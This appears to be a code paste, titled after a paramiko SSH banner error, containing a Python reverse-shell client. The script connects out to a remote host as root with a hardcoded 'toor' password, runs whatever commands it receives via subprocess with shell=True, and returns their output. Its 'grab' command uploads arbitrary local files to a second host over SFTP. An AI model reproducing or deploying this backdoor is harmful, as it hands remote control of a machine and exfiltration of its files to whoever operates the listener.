Error reading SSH Protocol Banner

key = paramiko.RSAKey.from_private_key_file('testkey.key')


def sftp(localpath, name):
    try:
        transport = paramiko.Transport(('192.168.1.111', 10000))
        transport.connect(username='root', password='toor', pkey=key)
        sftp = paramiko.SFTPClient.from_transport(transport)
        sftp.put(localpath, '/root/uploads/' + name)
        sftp.close()
        transport.close()
        return "<+> Done uploading"

    except Exception as e:
        return str(e)


client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('192.168.1.107', username='root', password='toor')
chan = client.get_transport().open_session()
chan.send("Hey man! I'm connected!")
print(chan.recv(1024))

while True:
    command = chan.recv(1024).decode()
    if 'grab' in command:
        _, path, name = command.split(' ')
        chan.send(sftp(path, name))
    else:
        try:
            CMD = subprocess.check_output(command, shell=True)
            chan.send(CMD)
        except Exception as e:
            chan.send(str(e))

 client.close()